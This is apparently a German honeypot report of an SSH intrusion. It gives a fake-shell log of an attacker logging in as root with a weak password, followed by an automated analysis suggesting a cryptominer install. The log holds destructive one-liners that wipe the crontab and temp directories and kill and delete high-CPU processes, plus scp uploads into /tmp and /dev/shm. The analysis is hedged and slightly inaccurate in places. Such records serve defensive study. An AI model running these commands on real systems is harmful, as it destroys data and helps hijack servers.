Mitschnitt

SSH-Angriff aus Frankreich: Schadcode nachladen und Einnisten per Cronjob

10.10.2026, 05:22 UTC · 957 Befehle · über ssh · Frankreich

Überblick

Dienst: ssh (Port 22)
Herkunft: Frankreich · BANATSYNC SRL
Probierte Zugangsdaten: root / 1978

Der Angriff, nachgespielt

echter Mitschnitt unserer Fake-Shell; die Antworten sind erfunden, ausgeführt wurde nie etwas

root@srv01: ~

user='root' pass='1978'
root@srv01:~$ uname -s -v -n -r -m
Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64
root@srv01:~$ uname -m | awk '{printf $1}'
x86_64
root@srv01:~$ lscpu | egrep "Model name:" | cut -d ' ' -f 14-
Intel(R) Xeon(R) CPU E5-2620 v4 @ 2.10GHz
root@srv01:~$ curl ipinfo.io/org
AS140612
root@srv01:~$ nvidia-smi -q | grep "Product Name" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1
bash: nvidia-smi: command not found
root@srv01:~$ nvidia-smi -q | grep "Product Name"
bash: nvidia-smi: command not found
root@srv01:~$ uname -r | awk '{printf $1}'
4.15.0-213-generic
root@srv01:~$ crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; d…
bash: pidof: command not found
bash: pkill: command not found
root@srv01:~$ echo 1978 > /tmp/d.log
root@srv01:~$ scp -qt "/var/tmp/FWKOKKwq"
root@srv01:~$ scp -qt "/tmp/FWKOKKwq"
root@srv01:~$ scp -qt "/dev/shm/FWKOKKwq"
root@srv01:~$ uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2" "$3 }'
up 8 days, 03:45
root@srv01:~$ lspci | egrep VGA && lspci | grep 3D
00:02.0 VGA compatible controller: Intel Corporation Xeon E3-1200 v5/E3-1200 v6 | 3rd Generation Core (Intel 4th Gen) Integrated Graphics Controller (rev 06)
root@srv01:~$ lspci | egrep VGA | grep Radeon | wc -l | head -c 1
0
root@srv01:~$ uname -n | awk '{printf $1}'
mailsrv
root@srv01:~$ uname -s -v -n -r -m
Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64
root@srv01:~$ echo 123456 > /tmp/d.log
root@srv01:~$ scp -qt "/var/tmp/dQepFjdi"
root@srv01:~$ scp -qt "/tmp/dQepFjdi"
root@srv01:~$ scp -qt "/dev/shm/dQepFjdi"
root@srv01:~$ uname -s -v -n -r -m
Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64
root@srv01:~$ echo 12345 > /tmp/d.log
root@srv01:~$ scp -qt "/var/tmp/kYelLaia"
root@srv01:~$ scp -qt "/tmp/kYelLaia"
root@srv01:~$ uname -s -v -n -r -m
Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64
root@srv01:~$ scp -qt "/dev/shm/kYelLaia"
root@srv01:~$ uname -s -v -n -r -m
Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64
root@srv01:~$ uname -s -v -n -r -m
Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64
root@srv01:~$ uname -s -v -n -r -m
Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64
root@srv01:~$ uname -s -v -n -r -m
Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64
root@srv01:~$ uname -s -v -n -r -m
Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64
root@srv01:~$ scp -qt "/var/tmp/vROQZgiS"
root@srv01:~$ scp -qt "/tmp/vROQZgiS"
root@srv01:~$ scp -qt "/dev/shm/vROQZgiS"
root@srv01:~$ uname -s -v -n -r -m
Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64
root@srv01:~$ uname -s -v -n -r -m
Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64
root@srv01:~$ scp -qt "/var/tmp/RxXsIggl"
root@srv01:~$ scp -qt "/tmp/RxXsIggl"

Was hier passiert ist

automatisch erstellte Einschätzung, keine Gewähr

Was versucht wurde

Ein Angreifer meldete sich über SSH mit dem Benutzernamen root und dem schwachen Passwort 1978 an. Er führte eine Reihe von Systemabfragen aus, um die Hardware, insbesondere Grafikkarten, und die Netzwerkorganisation zu identifizieren. Anschließend versuchte er, konkurrierende Prozesse mit hoher CPU- oder RAM-Nutzung zu beenden und temporäre Dateien zu löschen. Abschließend lud er mehrere Dateien über SCP in verschiedene temporäre Verzeichnisse hoch.

Was die Befehle bewirken

Die Kommandos uname und lscpu ermitteln die Kernel-Version und den CPU-Typ, um die Kompatibilität zu prüfen. Der Aufruf von nvidia-smi und lspci sucht spezifisch nach GPU-Hardware, da diese für das Mining von Kryptowährungen essentiell ist. Das Skript zur Prozessbeendigung killt alle Prozesse, die mehr als 40 Prozent CPU oder 60 Prozent Speicher nutzen, um Ressourcen zu monopolisieren. Die scp-Befehle übertragen Dateien in /var/tmp, /tmp und /dev/shm, was typische Speicherorte für Malware sind, die bei Neustarts oft erhalten bleiben oder schnell ausgeführt werden können.

Worauf es hinauslief

Das Vorgehen deutet stark auf die Installation eines Kryptominers hin, da die Abfragen gezielt nach NVIDIA- und Radeon-Grafikkarten suchen. Das Entfernen anderer Prozesse dient dazu, Rechenressourcen freizumachen und Konkurrenten zu verdrängen. Die hochgeladenen Dateien sind vermutlich die Miner-Binaries oder Skripte zur Persistenz.

Einordnung

Dieses Muster ist sehr verbreitet und gehört zum Standardrepertoire automatisierter Botnetze, die nach schwachen SSH-Passwörtern suchen. Die Kombination aus Hardware-Scan und Prozessbereinigung ist ein klassisches Indiz für automatisierte Mining-Infektionen.